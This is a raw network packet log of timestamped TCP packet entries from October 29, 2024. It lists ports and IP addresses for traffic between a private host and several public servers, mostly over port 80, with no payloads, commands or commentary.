Oct 29, 2024 06:59:36.771162033 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.771162987 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.771162987 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.771193981 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.771228075 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.771236897 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.771258116 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.771266937 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.771291018 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.771296024 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.771339893 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.771348000 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.771380901 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.771414995 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.771423101 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.771445036 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.771455050 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.771477938 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.771483898 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.771512032 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.771516085 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.771542072 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.771552086 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.771574974 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.771586895 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.771610975 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.771622896 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.771650076 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.773773909 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.773804903 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.773852110 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.773905039 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.773957014 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.773976088 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.774009943 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.774043083 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.774060965 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.795989990 CET	443	49909	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:36.796533108 CET	443	49909	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:36.796592951 CET	49909	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:36.796649933 CET	49909	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:36.796670914 CET	443	49909	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:36.796686888 CET	49909	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:36.796694040 CET	443	49909	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:36.800515890 CET	49915	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:36.800565958 CET	443	49915	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:36.800676107 CET	49915	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:36.800883055 CET	49915	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:36.800899029 CET	443	49915	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:36.810501099 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.810558081 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.810559988 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.810594082 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.810638905 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.810645103 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.810743093 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.813494921 CET	443	49910	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:36.813677073 CET	443	49910	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:36.813754082 CET	49910	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:36.813842058 CET	49910	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:36.813842058 CET	49910	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:36.813858032 CET	443	49910	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:36.813869953 CET	443	49910	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:36.816488981 CET	49916	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:36.816517115 CET	443	49916	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:36.816638947 CET	49916	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:36.816833973 CET	49916	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:36.816848993 CET	443	49916	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:36.862889051 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:36.867232084 CET	443	49911	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:36.867414951 CET	443	49911	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:36.867613077 CET	49911	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:36.868277073 CET	49911	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:36.868297100 CET	443	49911	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:36.868314028 CET	49911	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:36.868320942 CET	443	49911	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:36.868488073 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:36.883215904 CET	49917	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:36.883230925 CET	443	49917	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:36.883394957 CET	49917	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:36.883613110 CET	49917	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:36.883624077 CET	443	49917	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:36.909648895 CET	49918	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:36.909687042 CET	443	49918	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:36.909941912 CET	49918	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:36.910372972 CET	49918	443	192.168.2.5	23.55.178.242
Oct 29, 2024 06:59:36.910387993 CET	443	49918	23.55.178.242	192.168.2.5
Oct 29, 2024 06:59:37.153232098 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.153342962 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.153394938 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.153424978 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.153429985 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.153451920 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.153465033 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.153476000 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.153517962 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.153518915 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.153554916 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.153563023 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.153589964 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.153595924 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.153624058 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.153630018 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.153667927 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.153676033 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.153711081 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.153759003 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.153763056 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.153798103 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.153845072 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.153851032 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.153878927 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.153891087 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.153913021 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.153918982 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.153964996 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.153980970 CET	443	49912	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:37.154004097 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.154012918 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.154036045 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.154046059 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.154057026 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.154098988 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.154135942 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.154139042 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.154156923 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.154170990 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.154179096 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.154205084 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.154208899 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.154244900 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.154251099 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.154284000 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.154285908 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.154319048 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.154323101 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.154352903 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.154386997 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.154402018 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.154436111 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.154469013 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.154478073 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.154503107 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.154510975 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.154535055 CET	49912	443	192.168.2.5	40.126.32.133
Oct 29, 2024 06:59:37.154536009 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.154547930 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.154566050 CET	443	49912	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:37.154577017 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.154582024 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.154589891 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.154612064 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.154623985 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.154632092 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.154658079 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.154691935 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.154696941 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.154728889 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.154757977 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.154772043 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.154791117 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.154800892 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.154830933 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.154863119 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.154875994 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.154895067 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.154898882 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.154927969 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.154962063 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.154970884 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.154994965 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.155029058 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.155040979 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.155061007 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.155070066 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.155095100 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.155128956 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.155144930 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.155163050 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.155169964 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.155196905 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.155210972 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.155229092 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.155251026 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.155261040 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.155277967 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.155293941 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.155303955 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.155334949 CET	49912	443	192.168.2.5	40.126.32.133
Oct 29, 2024 06:59:37.155344009 CET	443	49912	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:37.155347109 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.155354023 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.155368090 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.155375957 CET	49912	443	192.168.2.5	40.126.32.133
Oct 29, 2024 06:59:37.155390024 CET	443	49912	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:37.155400991 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.155406952 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.155419111 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.155426979 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.155447960 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.155455112 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.155479908 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.155489922 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.155498028 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.155524969 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.155527115 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.155556917 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.155575037 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.155591965 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.155625105 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.155644894 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.155658007 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.155672073 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.155690908 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.155699015 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.155725956 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.155760050 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.155765057 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.155795097 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.155817986 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.155823946 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.155838966 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.155857086 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.155863047 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.155891895 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.155910015 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.155925989 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.155975103 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.155977011 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.156018019 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.256594896 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.256644011 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.256674051 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.256700993 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.256704092 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.256737947 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.256750107 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.256789923 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.256795883 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.256843090 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.256887913 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.256895065 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.256928921 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.256973028 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.256978989 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.257019043 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.257030964 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.257072926 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.257081032 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.257129908 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.257131100 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.257169008 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.257179976 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.257211924 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.257215023 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.257246971 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.257278919 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.257282019 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.257292986 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.257311106 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.257354975 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.257365942 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.257407904 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.257415056 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.257447958 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.257460117 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.257481098 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.257512093 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.257529974 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.257539988 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.257564068 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.257597923 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.257611036 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.257647038 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.257685900 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.257692099 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.257726908 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.257735014 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.257774115 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.257818937 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.257826090 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.257859945 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.257869005 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.257894039 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.257900000 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.257925987 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.257934093 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.257977962 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.257986069 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.258012056 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.258018970 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.258053064 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.258060932 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.258105040 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.258109093 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.258142948 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.258148909 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.258176088 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.258183956 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.258217096 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.258227110 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.258277893 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.258279085 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.258311033 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.258317947 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.258344889 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.258351088 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.258382082 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.258387089 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.258420944 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.258460045 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.258471012 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.258502960 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.258531094 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.258538008 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.258555889 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.258569956 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.258585930 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.258622885 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.258621931 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.258656025 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.258690119 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.258697987 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.258738995 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.258785963 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.258789062 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.258832932 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.258838892 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.258873940 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.258882046 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.258907080 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.258939981 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.258943081 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.258971930 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.259011984 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.259016991 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.259049892 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.259054899 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:37.259084940 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:37.259094000 CET	49888	80	192.168.2.5	185.215.113.206
